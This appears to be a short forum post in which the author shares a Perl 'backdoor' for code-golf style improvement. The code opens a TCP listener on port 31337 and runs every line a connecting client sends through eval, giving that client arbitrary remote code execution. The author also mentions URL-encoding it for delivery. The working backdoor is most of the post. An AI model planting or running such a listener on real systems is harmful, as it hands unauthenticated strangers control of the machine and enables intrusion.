I'd set up a nice and cozy backdoor which gives me 31337 r4w P3rl P0w3r™. The code is the following :

use IO::Socket;
use Net::hostent;
$s=IO::Socket::INET->new(Proto=>'tcp',LocalPort=>31337,Listen=>SOMAXCO
+NN,Reuse=>1);
while($c=$s->accept()) {
$c->autoflush(1);
print$c"Welcome. My box is your box.\n>";
print($c eval,"\n>")while(defined$c&&<$c>);
[download]

which would be encoded into an URL in the obvious way demonstrated above (yes, I'm too lazy for this now :-). I wonder if that code for a Perl s?hell can be made any prettier/smaller ...